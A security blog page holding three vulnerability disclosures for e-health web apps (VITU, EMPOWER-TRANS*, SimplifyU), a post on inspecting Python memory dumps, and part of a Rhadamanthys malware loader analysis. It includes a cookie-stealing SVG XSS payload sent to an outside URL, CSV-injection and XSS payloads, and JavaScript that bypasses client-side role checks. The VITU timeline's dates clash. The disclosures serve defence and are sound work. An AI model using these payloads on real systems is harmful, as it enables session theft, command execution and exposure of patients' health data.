cyber.wtf

E-Health Issues (3/3) - Severe Vulnerabilities in VITU

Mon, 24 Aug 2026 12:00:00 +0000

During the last year (2025), we conducted a variety of penetration tests on E-Health applications. Shockingly, they all had severe vulnerabilities. This is particularly concerning given the highly sensitive information stored and processed by these applications. This is the final entry in a series of three blog posts in which we will disclose some of the vulnerabilities we identified.

Intro

One of our clients wanted to begin using the web application VITU (Virtuelles Tumorboard) – a process-oriented information and communication platform for the health sector – in production. However, they wanted to assess its security before doing so. Hence, we conducted a web application penetration test. The results revealed multiple severe vulnerabilities, such as almost no authorization checks and multiple instances of stored cross-site scripting.

Fortunately, the vendor, MOLIT Service GmbH, responded quickly and professionally. The vulnerabilities were fixed shortly after they were disclosed.

Overview of the CVEs

A total of 7 CVEs were assigned to the most severe vulnerabilities identified. The affected versions are “v2.2.0-beta.9” and earlier.

CVE Number	Name	Severity
CVE-2025-69867	Broken Function Level Authorization	Critical
CVE-2026-36979	Broken Object Level Authorization	High
CVE-2025-69866	Stored Cross-Site Scripting	High
CVE-2025-69865	Arbitrary File Upload	Medium
CVE-2025-69868	CSV Injection	Medium
CVE-2026-36977	Username Spoofing	Medium
CVE-2026-36978	Server-Side Request Forgery	Low

Remediation

It is recommended to update VITU to the latest version. All vulnerabilities have been fixed in version v2.2.0-beta.10.

CVEs in Detail

Broken Function Level Authorization

This was the most severe vulnerability. All authorization checks but two were done only client-side. Hence, by doing minor JavaScript changes or by using a HTTP proxy to modify the requests, it was possible to see or modify any data. Well, not any data, because the access to the user and group settings in the admin area was also validated on the server side. But besides that, any functionality could be accessed and used: Organizations, Settings, Super Settings, Evaluation, Audit Log, Authentication Log in the Admin area as well as all Patients, Cases and Conferences. This meant that all the sensible data could be accessed by any authenticated user and the access to the administrative settings could be used to exploit further vulnerabilities, such as stored XSS affecting the whole web application.

In order to trick the frontend and to see the web application like an administrator would, we had to modify two JavaScript functions and one return. There were two functions that checked the role of a user: hasRealmRole and hasResourceRole. Both were modified to always return true: e.hasRealmRole=function(k){return true;},e.hasResourceRole=function(k,$){return true;},. Furthermore, there was another role check (return e.meta.roles != null && !s.value.realmAccess.roles.filter(c => e.meta.roles.includes(c)).length || e.meta.modules != null&&Object.keys(a.value.modules).filter(c => a.value.modules[c]).filter(c => e.meta.modules.includes(c)).length < e.meta.module) which was replaced with a simple return false. These changes tricked the frontend into thinking that the user has all roles, including Administrator.

Figure 1 shows that the user gdata3 has all roles and is able to view the audit log in the admin area. In fact, the user only had the low privilege role “Participant” and escalated their privileges by bypassing the client-side checks.

Figure 01: Privilege escalation by bypassing client-side checks.

Broken Object Level Authorization

After reporting the BOLA vulnerability, the vendor implemented server-side authorization checks. However, during the retest it was discovered that users are able to access data from other organizations, even if they should not be able to. The API calls issued by the web applications contained filters for the organizations a user belongs to. These filters could simply be removed in order to access data from all organizations.

Figure 2 shows one of the API calls containing an organization filter issued by the web application. The endpoint returns two patients.

Figure 02: Requesting all patients from the organization G DATA.

An error was thrown, if the parameter organization.name was removed. However, when it was set to an empty value, all patients were returned. Figure 3 shows that all three patients of the test instance were returned.

Figure 03: Receiving all patients due to the removed organization filter.

This affected all Patient and Case functionalities.

Stored Cross-Site Scripting

There were multiple stored XSS vectors.

JavaScript Protocol: URLs, which can be e.g. configured in the settings, could use the JavaScript protocol. If a user clicks on one of these URLs, the JavaScript will get executed
SVG Files: See Arbitrary File Upload
Matomo: In the administrative settings a Matomo JavaScript file can be specified. This JavaScript file is then included in every response. Due to the BFLA vulnerability, any user could specify a matomo URL pointing to an attacker controlled JavaScript file which gets served to any user visiting the web application. Figure 4 shows the script tag with the matomo URL that is being embedded on every page.

Figure 04: XSS on every page due to the matomo script URL.

Arbitrary File Upload

No file upload restrictions were enforced. Hence, it was possible to upload any file (.exe, .zip, .svg, … you name it) to cases. Combined with Username Spoofing and BOLA/BFLA, any authenticated user could have uploaded malicious files to any case and spoof themself as another user. Figure 5 shows that it was possible to e.g. upload an exe because there were no restrictions in place.

Figure 05: A successfully uploaded exe.

CSV Injection

Admins can download CSV files containing statistics about held conferences. User controlled values, such as the name of the conference, were embedded directly into the CSV file. This could be abused to achieve Command Execution (Excel) or Data Exfiltration (Google Sheets). Figure 6 shows a payload that leads to the execution of the calculator on Windows systems, if the CSV file is opened with Excel.

Figure 06: CSV injection in the conference name.

Username Spoofing

It’s possible to upload files in certain functionalities as well as to post comments to cases. However, it was possible to spoof usernames and let VITU show arbitrary usernames for the comments/uploaded files. This was because the username to be shown was not taken from the session, but specified via a parameter that could be modified.

Figure 07: Spoofing the username of a comment.

Figure 08: Comment with a spoofed username.

Server-Side Request Forgery

When downloading a file from VITU, the API endpoint GET /video-backend/api/vitu/fhir/fetchBinary?binaryURL=foo was used and foo was the URL of the file to be downloaded. This screams SSRF and indeed SSRF was possible. However, there were already checks in place that limit the allowed URLs to the web application’s host, hence the risk was lowered to low.

Figure 09: Server-Side Request Forgery.

Timeline

2025-11-24	Start of the 5-day penetration test
2025-12-03	Reported vulnerabilities to the vendor
2025-01-27	Conducted a retest - all vulnerability were fixed, however 3 new ones were identified
2025-01-30	Verified that 2 of the 3 new-found vulnerabilities have been fixed
2025-03-11	Verified that the last vulnerability has been fixed

E-Health Issues (2/3) - Severe Vulnerabilities in EMPOWER-TRANS*

Wed, 22 Jul 2026 02:00:00 +0000

This is the second post in our E-Health series (check out part one on SimplifyU if you missed it). Turns out 2025/2026 has been rough for security in the health sector and this next one didn’t disappoint either.

Intro

EMPOWER-TRANS* is a digital information and training platform funded through Germany’s Innovationsfonds (to the tune of €4.9 million), aimed at transgender people and people with gender dysphoria who need support along the way - a group for which privacy and the sensitivity of processed data matter enormously. Before the application went live, the vendor commissioned us to perform a web application penetration test, which was a genuinely good call as it turned out.

We ran a greybox pentest (5 person-days) against a dedicated test environment that was populated with test data only. We were provided with accounts across all four roles the application defines: User, Dispatcher, Specialist, and Admin.

What we found was, once again, not great: a full chain from normal user privileges to complete administrative takeover, a two-factor authentication that only authenticates one factor, and persistent Cross-Site Scripting (XSS). The vendor was fast and professional throughout the mitigation process and every finding was confirmed and fixed in version 1.1, as the retest showed.

Overview of the CVEs

A total of 5 CVEs were assigned to the vulnerabilities identified. All affected version 1.0 of the application; all were fixed in version 1.1.

CVE Number	Name	Severity
CVE-2026-37084	Broken Function Level Authorization	Critical
CVE-2026-37083	Persistent Cross-Site Scripting	High
CVE-2026-37082	Missing Authentication on Critical API Endpoints	High
CVE-2026-37080	Two-Factor Authentication Bypass	High
CVE-2026-37081	Username Enumeration	Medium

Remediation

All vulnerabilities described below have been fixed in version 1.1 of the application.

CVEs in Detail

Broken Function Level Authorization (CVE-2026-37084)

The application is a Single Page Application (SPA) that dynamically loads its entire routing logic and admin functionality from a single JavaScript bundle. There was no client-side route protection since admin routes such as /admin/role-management, /admin/file-management, /admin/archive, and /admin/activation-codes were simply… there, waiting to be navigated to by anyone who cared to look. For instance, it was possible to directly browse to /admin/role-management with the user account that had the lowest privilege.

Figure 01: Direct access to administrative endpoints.

From there, it was possible to assign permissions to specific user accounts. A logged-in user with the lowest privilege level could call this endpoint directly and simply assign themselves the Admin role. No further steps required.

Figure 02: Assigning the admin user role.

Figure 03: Escalation to Admin via an unprotected call to the corresponding endpoint /api/admin/reassing-user-role.

This grants full access to every administrative function and, more importantly, access to any (pseudonymized) medical questionnaires and personal information of every patient and user of the app.

Figure 04: Complete access to all administrative functions.

The following API endpoints had no server-side authorization checks, including:

/api/admin/reassing-user-role
/api/admin/get-user-groups-counts
/api/admin/get-first-batch-of-users
/api/admin/get-activation-codes
/api/admin/search-users-by-query
/api/archive/all-modules
/api/admin/all-roles
/api/role/create
/api/admin/role/delete-role
/api/role/update

When we presented this vulnerability, one comment from the customer’s side has stuck with us since:

“But how is an attacker without prior knowledge of the application supposed to find paths like /admin/role-management? You had an admin account, so of course you knew about it!”

Which is a great question with a slightly deflating answer: because the entire client-side routing table ships to every visitor inside one JavaScript file, all it takes is opening the browser’s dev tools and reading it. No admin account, no insider knowledge, as can be seen in the following Figure.

Figure 05: Identifying the administrative routes in the bundled JavaScript file.

Two-Factor Authentication Bypass (CVE-2026-37080)

The application implements 2FA over a six-digit code transferred to the e-mail associated with your account. This is great, until you notice that the server issues a fully authenticated session cookie immediately after step one (username + password), before the 2FA code is ever checked.

Figure 06: Fully authenticated session cookie after initial authentication.

That cookie works on its own. Anyone in possession of valid credentials (leaked, reused, phished, take your pick) could skip the second factor entirely by taking that session cookie and loading it into a browser extension such as Cookie-Editor.

Figure 07: Using the previously issued cookie and thereby bypassing the 2FA.

Persistent Cross-Site Scripting (CVE-2026-37083)

The file management feature allowed SVG uploads without any content validation. SVGs can contain embedded JavaScript that browsers happily execute when the file is opened directly, for example via a URL such as /api/media/file/images/<filename>.svg. Below is an example of a typical Proof-of-Concept for the persistent XSS, simply putting out an alert box with the domain of the website.

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
   <script type="text/javascript">
      alert(document.domain);
   </script>
</svg>

When uploading this SVG file via the file management and navigating to the upload, one can see that the XSS payload is executed in the user’s browser.

Figure 08: Stored XSS triggered via an uploaded SVG file.

To make matters more interesting, the session cookie was missing the HttpOnly flag. Therefore, the XSS payload could reach straight into document.cookie and exfiltrate an authenticated session, with an exemplary payload in the following code snippet.

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
   <script type="text/javascript">
      fetch(`https://cyber.wtf/cookie-stealer`+document.cookie);
   </script>
</svg>

Combined with the BFLA vulnerability above, this also meant a low-privileged attacker had a path towards administrative session hijacking.

Missing Authentication on API Endpoints (CVE-2026-37082)

A closely related but distinct problem: several sensitive API endpoints didn’t check for authentication at all. Our notes from that day literally read “wait, why does this work without the session cookie??” It simply wasn’t being asked for.

Figure 09: Calling a sensitive API endpoint with no session cookie.

This problem could be observed for multiple endpoints, including:

/api/role/all-roles
/api/file-management/recently-uploaded
/api/file-management/files
/api/admin/all-roles
/api/role/create
/api/admin/role/delete-role
/api/role/update

Username Enumeration (CVE-2026-37081)

Login, password-reset, registration, and profile-update endpoints all returned subtly different responses depending on whether a given username existed or not. On its own, it is just a medium-severity issue. Paired with 2FA issue above, it’s a convenient reconnaissance step for narrowing down which accounts are worth attacking first when an attacker tries to gain initial access.

Figure 10: Differing error messages, valid username.

Figure 11: Differing error messages, invalid username.

Impact

Chained together, these vulnerabilities amounted to a full loss of confidentiality, integrity, and availability of patient data belonging to an already vulnerable population: viewing, modifying, and deleting records, and reading submitted (pseudonymized) medical questionnaires. All starting from the perspective of a low privileged user to full administrative access. Given that this involves health data under Art. 9 GDPR, the reputational and regulatory stakes were correspondingly high.

Lessons Learned

Authorization bugs are still one of the most common ways modern web apps fall over
Every privileged action needs server-side enforcement too
2FA needs to gate session issuance, not follow it
File uploads (yes, even “just images”) need thorough validation beyond the file extension
Regular penetration testing, ideally before go-live, keeps vulnerabilities like these from ever reaching production and getting exploited by an attacker with malicious intent

Timeline

Date	Event
2025-11	Initial penetration test
2026-02	Retest
2026-02	CVEs requested from MITRE
2026-06	CVEs approved
2026-07	Blogpost published

Python Object Introspection

Wed, 27 May 2026 08:00:00 +0000

Intro

While preparing for a workshop, we recently pondered the question: What if we ever need to extract runtime values from a live/dumped Python process?

There are multiple reasons one might want to do that:

Debugging a production process: If a Python application is misbehaving in prod, it could be helpful to look at the state of certain objects. Attaching a proper debugger is often not feasible when the app is running in a container, because the container has restricted permissions. Attaching from the host side is also problematic if (system) package versions differ between host and container.
Analyzing a malware process: Malware written in Python may have downloaded configuration data from a C2 server that is being held in memory. This is especially interesting if the C2 server is no longer responsive.
Forensics: If law enforcement has obtained a memory snapshot of a threat actor’s system, there might be Python processes such as certain crypto wallets. Those processes contain data of interest (e.g., all transaction hashes).

When working with memory dumps, it’s generally pretty easy to find strings - especially if you have a rough idea of what you’re looking for. But if you’re looking for other data such as ints, bytes values, or structured data containing a multitude of types, you’ll find yourself looking for a needle in a very big haystack. What we need is an approach that is aware of Python interpreter internals and that can point the way to the exact data we’re looking for.

py-spy

py-spy by Ben Frederickson is an excellent tool for troubleshooting performance issues with Python applications. It can record profiles (record), provide a live overview of which functions are taking up time (top), and display stack traces including args/locals for each frame (dump). While it’s mostly designed for live processes, the dump feature also works for ELF core dumps. One of the coolest parts is that you can run it on a container host and inspect arbitrary Python container processes, regardless of what version of Python is installed on the host. We’ve used it countless times over the years to figure out what’s going on with hanging/deadlocked Python processes.

The tool is written in Rust and contains bindings for pretty much any Python version you may encounter, ranging from 2.7 up to the latest 3.14 at the time of writing. The bindings are auto-generated Rust code based on CPython structures for each specific version. This allows py-spy to get its bearings in process memory in order to correctly access interpreter state data.

As for how this is relevant to our goal: py-spy contains extensive logic for iterating over object attributes and formatting Python values (so it can print the locals in frames). This is important, because after all, we can’t simply do str() or repr(), since we’re not running in the interpreter itself. That makes the py-spy project a very good candidate for implementing our object introspection code.

All we need is a core dump in ELF format.

Obtaining core dumps

Just use gcore <pid>, right? No big deal.

Sadly, it’s not always that simple:

Especially in LE contexts, shell access may be eschewed for reasons of stealthiness, meaning only a full memory snapshot is available (if we’re dealing with a virtualized system hosted somewhere).
Some people run their Python apps on Windows (an unfortunate fact of life).

There doesn’t seem to be a tool that can “extract” a single process core dump from a full snapshot. This is something that has often bothered me when working with Volatility: You can use plugins like memmap to get a raw dump of process memory, along with a text or json file that maps virtual addresses to file offsets in the dump. But no other/tool library can process those files; you either have to view them manually if you’re looking for something small/manageable, or write custom tooling that works with the json & dump file.

It would be great if Volatility could directly produce ELF core dumps. As it turns out, it doesn’t take much to create a minimal core dump file.

Figure 1: Structure of a minimal ELF core dump.

Figure 1 shows what parts are required in order to construct such a file. We have the mandatory ELF header, which has its type set to ET_CORE (4), making this a core file. The ELF file contains no sections, only program headers of different types. There’s one PT_NOTE program header that contains filenames for each mapped module (the NT in NT_FILE is for note type, not Windows NT). The rest of the program headers are of type PT_LOAD and contain the actual virtual memory pages, which can be contents of mapped files or arbitrary data pages such as heap/stack.

Volatility makes it pretty easy to populate those structures: You can iterate over pages belonging to a process and it will give you the start/end addresses, data, associated filename in case of a mapping, and permissions. In terms of ELF writing, the most finicky part is getting the note structures right, because they have specific alignment requirements.

Normally, core dumps would also contain thread state, detailing what values registers had at the time the dump was taken etc., but this is not at all trivial to obtain in our situation. When you ask the system to dump an individual process, the kernel prepares the process by freezing all of its threads and collecting all register values in a single place. We don’t have this luxury, because our system snapshot was taken at some arbitrary point in execution. Some threads might literally have been executing on a CPU core at that moment, and “plain” memory dumps don’t contain any sort of processor state. In any case, when using the dump in py-spy, this sort of information is not required.

Next, what do we do about Windows? Same thing, we put a Windows process into an ELF core dump! It’s admittedly a bit of a Frankensteinian solution that you would never encounter in the wild, but py-spy cannot parse Windows minidumps, and we didn’t feel like adding support for that. The Volatility plugins for Linux and Windows we ended up writing for this look remarkably similar, because concepts just aren’t that different between OSes at the level of abstraction we’re operating at. It’s called a VAD on Windows instead of a VMA on Linux, the page permission mapping is slightly different, and the filenames use backward slashes instead of forward slashes. But that’s about it.

Check it out in GDB (pretty hilarious if you ask me):

$ gdb --core=core.932.elf
#0  <unavailable> in ?? ()
(gdb) info proc mappings
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
       0x1caa4830000      0x1caa4841000    0x11000        0x0 \Windows\System32\C_437.NLS
       0x1caa47b0000      0x1caa47b3000     0x3000        0x0 \Windows\System32\l_intl.nls
       0x1caa4810000      0x1caa4821000    0x11000        0x0 \Windows\System32\C_1252.NLS
       0x1caa4940000      0x1caa4951000    0x11000        0x0 \Windows\System32\C_1252.NLS
       0x1caa4850000      0x1caa4853000     0x3000        0x0 \Windows\System32\l_intl.nls
       0x1caa4870000      0x1caa4939000    0xc9000        0x0 \Windows\System32\locale.nls
       0x1caa4960000      0x1caa4971000    0x11000        0x0 \Windows\System32\C_437.NLS
       0x1caa4a10000      0x1caa4a1f000     0xf000        0x0 \Program Files\Electrum\_internal\python3.dll
       0x1caa63f0000      0x1caa6538000   0x148000        0x0 \Windows\System32\en-US\KernelBase.dll.mui
...

You can then use the normal GDB commands like x to examine any virtual address of your choosing.

The dumps can also be read by libraries such as LIEF (C++/Python/Rust) and Goblin (Rust). py-spy happens to use Goblin internally. With some minor modifications to account for naming differences on Windows, py-spy can successfully display stack traces for our dump:

$ py-spy dump -c core.932.elf
Python v3.12.10

Thread 0
    ElectrumGui.main (electrum\gui\qt\__init__.py:602)
    Daemon.run_gui (electrum\daemon.py:674)
    handle_cmd (run_electrum.py:526)
    main (run_electrum.py:507)
    <module> (run_electrum.py:633)
Thread 0
    IocpProactor._poll (asyncio\windows_events.py:774)
    IocpProactor.select (asyncio\windows_events.py:445)
    BaseEventLoop._run_once (asyncio\base_events.py:1961)
    BaseEventLoop.run_forever (asyncio\base_events.py:645)
    ProactorEventLoop.run_forever (asyncio\windows_events.py:322)
    BaseEventLoop.run_until_complete (asyncio\base_events.py:678)
    create_and_start_event_loop.<locals>.run_event_loop (electrum\util.py:1683)
    Thread.run (threading.py:1012)
    setup_thread_excepthook.<locals>.init.<locals>.run_with_except_hook (electrum\util.py:1123)
    Thread._bootstrap_inner (threading.py:1075)
    Thread._bootstrap (threading.py:1032)
Thread 0
    Condition.wait (threading.py:359)
    Event.wait (threading.py:655)
    Plugins.run (electrum\plugin.py:796)
    setup_thread_excepthook.<locals>.init.<locals>.run_with_except_hook (electrum\util.py:1123)
    Thread._bootstrap_inner (threading.py:1075)
    Thread._bootstrap (threading.py:1032)
...

Side note for Windows: I recently learned that MemProcFS is able to produce minidumps for processes out of a system dump (thanks for the tip, Eddi!).

Iterating objects

Now that we have our data in a format that py-spy understands, we can get back to the original goal of looking at object data. In Python, every object that could potentially be part of a reference cycle is tracked by the garbage collector (GC). This includes container types like lists, dicts and sets, but also instances of user-defined classes. We can use this to our advantage by inspecting the structures the GC uses to keep track of objects. Essentially, we’ll be performing gc.get_objects(), just from the outside looking in.

py-spy is able to get the interpreter state object in order to facilitate its other features. In modern Python versions, this also happens to be where the GC state is kept.

Figure 2: Interpreter state pertaining to GC (other members omitted).

As can be seen in Figure 2, the structures use flat composition - there’s no indirection going on. The first time we encounter a pointer is when looking at the head structs embedded within each generation, which implement a cyclic doubly-linked list using next and prev pointers. The layout looks like this from Python 3.9 through 3.13. In 3.14, there’s an inconsequential change where the generations array was shortened from 3 to 2 and an explicitly named young generation was introduced after the array.

In order to iterate over all registered objects, we simply iterate over each generation and follow the next pointers (yielding one GcHead every time), until next points back to the original generation head. The GcHead structs are sort of glued in front of the actual tracked objects, so in order to get the object, we just add the size of GcHead to each next pointer and end up with a PyObject. Neat!

Working with objects

With object instance pointers at hand, there are several things we can do with them:

Call py-spy’s formatting logic on the object: For plain user-defined objects, this is pretty boring, since it will yield <MyFoobar at 0x12345>. For built-in containers like lists and dicts, it will show their contents (as if you used print(mydict) in Python), which is already much more useful.
Iterate over the object’s attributes and format those in turn.
Follow an attribute chain to get specific value(s), e.g., MainMalwareClass._c2_connector._port.

If we don’t want to get flooded by data, we might want to do some filtering based on the type first (e.g., restrict output to MainMalwareClass instances). Each object has an ob_type member, which in turn has a tp_name string pointer, so getting this information is pretty straight-forward.

For accessing attributes, one can iterate over the object’s dict. There are some aspects to keep in mind such as managed vs. non-managed dicts, but we won’t bore you with the technical details. All of the low-level dict access plumbing is already implemented in py-spy via the DictIterator functionality.

Putting it into action (Imported_Wallet has an attribute adb of type AddressSynchronizer, which in turn has an attribute _history_local containing a dict with transaction histories):

$ py-spy objects -c core.932.elf --objectpath Imported_Wallet.adb._history_local
Found 1 object(s)
<Imported_Wallet at 0x1caaa82d8e0>:
{"1BgGZ9tcN4rm9KBzDn7KprQz87SZ26SAMH": {"fa02d09a9e9a193fc5b79b23e530c370c00e8e84e1bd543190604b02d171ad5b", "af70bb62aab453d13cbb3c4ca69fc22b71028fadebeecb5e6de036b62ada26c9", ...}}

(Note: The Bitcoin address shown here is one that has a publicly known private key.)

Another interesting thing you can do is print all dicts. This will obviously produce a pretty long output, but depending on your situation, it might yield things you didn’t think to look for.

$ py-spy objects -c core.932.elf --objectpath dict
# Some samples from the 16695 lines output:
{"sslcontext": <SSLContext at 0x1caaf52c150>, "peercert": {"subject": ((("countryName", "US")), (("stateOrProvinceName", "Ohio")), (("localityName", "Cloud"))), ...}, "cipher": (...), ...}
{"hosts": {"104.198.149.61": {"ssl_port": 50002, "tcp_port": 50001, "wss_port": 8443, "ws_port": 8000}, ...}, "pruning": None, "server_version": "ElectrumX 1.19.0", "protocol_min": "1.4", ...}
{"socket": <TransportSocket at 0x1cab00a68c0>, "sockname": ("10.0.2.15", 49702), "peername": ("168.119.33.233", 50002)}
{"socket": <TransportSocket at 0x1cab00a7730>, "sockname": ("10.0.2.15", 49705), "peername": ("104.198.149.61", 50002)}
{"txid": "9223da07e858c6f153fbb8a24db52374ca19d2639098207c71710610cfda808e", "amount_sat": 3000000, "fee_sat": None, "height": 215848, "confirmations": 731185, "timestamp": 1357732755, ...}

Conclusion

Managed/interpreted programming languages keep lots of metadata in their runtime out of necessity. We’ve shown in this post how to access data of interest in the case of Python by extending the capabilities of existing tools.

The additional constraint of sometimes only having full system memory dumps added further challenges. For future work, it would probably make sense to add minidump reading support to py-spy, because it’s unclear whether the Volatility maintainers will be willing to merge the Windows ELF creation plugin.

If you’re interested in the code changes discussed in this post, you can find the pull requests here:

E-Health Issues (1/3) - Severe Vulnerabilities in SimplifyU

Fri, 17 Apr 2026 12:00:00 +0000

During the last year (2025), we conducted a variety of penetration tests on E-Health applications. Shockingly, they all had severe vulnerabilities. This is particularly concerning given the highly sensitive information stored and processed by these applications. This is the first of three blog posts in which we will disclose some of the vulnerabilities we identified.

Intro

One of our clients wanted to begin using the E-Health web application SimplifyU – a quality management software for the health sector – in production. However, they wanted to assess its security before doing so. Hence, we conducted a web application penetration test. The results revealed multiple severe vulnerabilities, such as stored XSS across the entire application and anonymous users being able to easily brute-force access to sensitive reports.

Fortunately, the vendor, SimplifyU GmbH, responded quickly and professionally. The vulnerabilities were fixed shortly after they were disclosed.

Overview of the CVEs

A total of 8 CVEs were assigned to the most severe vulnerabilities identified. The affected versions are “02.06.2025 09:10” and earlier for the back-end as well as “02.06.2025 09:16” and earlier for the front-end.

CVE Number	Name	Severity
CVE-2025-69851,CVE-2025-69799	Stored Cross-Site Scripting	High
CVE-2025-69852,CVE-2025-69800	CSV Injection	Medium
CVE-2025-69849,CVE-2025-69801	Insufficient Brute-Force Protection	Medium
CVE-2025-69850,CVE-2025-69798	Leak of EntraID Secret Key	Medium

Remediation

It is recommended to update SimplifyU to the latest version. All vulnerabilities have been fixed in the following release:

Frontend: 23.02.2026 – 13:11:08
Backend: 23.02.2026 – 13:13:12

CVEs in Detail

Stored Cross-Site Scripting

A total of 31 stored cross-site scripting (XSS) instances were identified. 14 of these could be exploited by users with the lowest permissions, i.e. “Leser” (German for “Reader”). Most of these could also be exploited by unauthenticated users if anonymous access was configured as allowed. A further 17 instances of stored XSS could only be exploited by users with higher permissions, i.e. “Verantwortlicher” (German for “Person in Charge”).

All instances were trivial XSS vulnerabilities because there was no user input validation. Unvalidated user input was embedded directly into HTML documents, so simple payloads such as <img src onerror=alert()> were sufficient. Therefore, there is nothing more to go into.

To keep track of the numerous XSS vulnerabilities, we created alert boxes containing an identifier for the affected functionality. The following figure illustrates one of these.

Figure 01: One of the 31 stored xss instances.

CSV Injection

A total of 7 tables contained unvalidated user input that could be exported as an Excel (.xlsx) file. By embedding CSV injection payloads, such as =cmd|' /C calc'!xxx, into specific places, it was possible to execute any command on the system of a user who opened an Excel file containing them. This is especially dangerous because users are likely to trust files exported from the SimplifyU application.

Figure 02: CSV injection leads to arbitrary command execution.

Insufficient Brute-Force Protection

This was the most interesting vulnerability from a technical perspective. SimplifyU allows both anonymous and authenticated users to open any report via the “TAN-Suche” (“TAN-Search”). Two pieces of information are needed for this: First, a “Meldungsnummer” (report number) and a TAN. The report number can easily be guessed because it has a fixed format. The first report has the number “M00001”, the 12th “M00012”, and so on. Therefore, all that is needed to access any report is to guess (or brute-force :)) the TAN, and there was no brute-force protection in place.

It doesn’t sound that difficult to exploit, right? You just throw it in Burp Intruder or FFUF and let it brute force the TAN in a matter of seconds or minutes. However, that wasn’t possible in this case because of the framework that SimplifyU is built with.

SimplifyU uses the ASP.NET Core Blazor framework, which uses a custom binary serialisation format called ‘BlazorPack’. Furthermore, Blazor communicates via WebSockets by default.

Fortunately, both issues can be resolved by using the Burp extension BlazorTrafficProcessor. It forces traffic to fall back to HTTP and supports conversion from binary to JSON format for easy modification. However, it cannot be used for automated brute force attacks. Therefore, we created a simple PoC Python script that can brute-force the TAN for any report.

Due to the way Blazor works, two requests are required for each brute-force attempt. The first request updates the TAN on the front- and back-end, while the second request triggers the TAN check on the back-end. As a side effect, the brute-force process looks pretty cool because one can see the TAN number increase visually until the correct one is found and the report is displayed.

The following figure shows the script iterating through every possible TAN, with the TAN on the web application being visually updated each time to reflect the next TAN to be tried.

Figure 03: Bruteforcing the TAN.

Leak of EntraID Secret Key

The EntraID Secret Key was displayed in the EntraID settings of the web application. Although this was only accessible to privileged users, there were several (unauthenticated) stored XSS vulnerabilities that could be exploited to exfiltrate the EntraID Secret Key. This secret key can be used to request an access token for the Microsoft Graph API. The consequences depend on the app’s configuration. In our customer’s case, we could “only” retrieve various information about EntraID users, such as names, phone numbers, and email addresses.

This was the only vulnerability that was still present during the retest. However, it was eventually fixed in February 2026.

Figure 04: The EntraID secret key is being leaked.

Timeline

2025-06-25	Start of the 3-day penetration test
2025-07-01	Reported vulnerabilities to the vendor
2025-08-11	Retest - all but one vulnerability was fixed
2026-02-23	Last vulnerability has been fixed

Rhadamanthys Loader Deobfuscation

Wed, 19 Nov 2025 10:00:00 +0000

~ Content warning: This post contains liberal amounts of x86 assembly! ~

Intro

Rhadamanthys is a notorious stealer malware that has been around since 2022. Check Point Research has recently published a very detailed blog post about changes in the latest Rhadamanthys version. If you’re interested in the stealer’s capabilities - or if you always wanted to know what a dark web sales site for malware looks like - definitely check out their post.

What piqued my interest is not the malware itself, but its native loader. The loader is interesting because it implements some rather complicated anti-sandboxing/anti-AV-emulation measures. Furthermore, the payload is encoded using a custom binary-to-string encoding that the malware authors try to keep hidden. This causes vast parts of the loader binary to contain gibberish ASCII text.

But most importantly, the loader is obfuscated using different layered techniques, making static analysis extremely hard. If you’ve followed my posts in the past (especially the ones about Pyarmor and .NET), you know I always like a good deobfuscation challenge - so let’s see what we’re dealing with in this instance!

Setting the stage

The sample that we will work on for the rest of the post is 8f54612f441c4a18564e6badf5709544370715e4529518d04b402dcd7f11b0fb. It’s packed, so you need to unpack it to see the actual Rhadamanthys loader.

When we open up the main function, we’re greeted by this ghastly sight.

.text:0040A560~0040A5C7 ... Normal(ish) function prologue
.text:0040A5C8                 jmp     short loc_40A5F0
.text:0040A5CA ; ----------------------------------------------------
.text:0040A5CA                 cmp     ebx, 19A7218Ah
.text:0040A5D0                 lea     eax, off_48B604
.text:0040A5D6                 lea     edi, off_48B850
.text:0040A5DC                 cmovz   eax, edi
.text:0040A5DF                 mov     eax, [eax]
.text:0040A5E1                 add     eax, esi
.text:0040A5E3                 jmp     eax
.text:0040A5E3 ; ----------------------------------------------------
.text:0040A5E5                 align 10h
.text:0040A5F0
.text:0040A5F0 loc_40A5F0:               ; CODE XREF: sub_40A560+68↑j
.text:0040A5F0                 cmp     ebx, 0BB2D365h
.text:0040A5F6                 mov     eax, edx
.text:0040A5F8                 lea     edi, off_48B8A4
.text:0040A5FE                 cmovl   eax, edi
.text:0040A601                 mov     eax, [eax]
.text:0040A603                 add     eax, esi
.text:0040A605                 jmp     eax
.text:0040A605 sub_40A560      endp  ; IDA thinks the function ends here, but it's far from the end
.text:0040A605
.text:0040A607 ; ----------------------------------------------------
.text:0040A607                 lea     eax, off_48B758
.text:0040A60D                 cmp     ebx, 357A351Eh
.text:0040A613                 jge     short loc_40A680
.text:0040A615                 mov     eax, [eax]
.text:0040A617                 add     eax, esi
.text:0040A619                 jmp     eax

The rest of the function looks more or less the same. Blocks that perform actual work, such as calling other functions, are slightly larger. In total, this main function has almost 3000 instructions and hundreds of blocks.

Two things are at play here:

Jump target obfuscation: The target addresses are hidden using a memory load and addition with a key register.
Control flow flattening: The blocks we see above are actually part of a typical CFF dispatcher. CFF is a technique where direct relations between basic blocks are removed. Instead, each time you have some sort of path decision, you set a state variable (ebx in this case). Then you jump into the dispatcher, which will eventually execute the correct block. At a higher level, you can think of it like a huge switch statement, where the cases are obnoxious high entropy numbers like 0x357A351E.
The code at hand is basically doing a binary search until it finds a target block where ebx matches exactly (je instruction, not depicted above).

Together, those techniques form a potent combination. While control flow flattening alone is already annoying, at least you can decompile the code and see something. With the jump obfuscation on top of it, disassemblers and decompilers will only see a bunch of apparently unrelated blocks - no children, no parents. This obviously completely breaks decompilation and any control flow graph analysis.

Unrelated to the above, another pattern that occurs somewhat frequently in the code is this:

call    sub_40F830
mov     ecx, dword_48AE7C
mov     edx, 0C4D77A40h
add     ecx, edx
cmp     eax, ecx

The function result eax is compared against a value in ecx, which is again obtained using a memory load and an addition. This is essentially constant obfuscation, which has been applied to all constants in the program (except for ones belonging to the obfuscator itself, such as the control flow state variable).

The memory load presents an additional twist: if the initial mov ecx had simply been another constant like edx, decompilers would automatically fold the addition as part of their built-in optimizations. But with the load, they typically won’t do so even if the referenced memory were to be marked read-only.

Deobfuscation

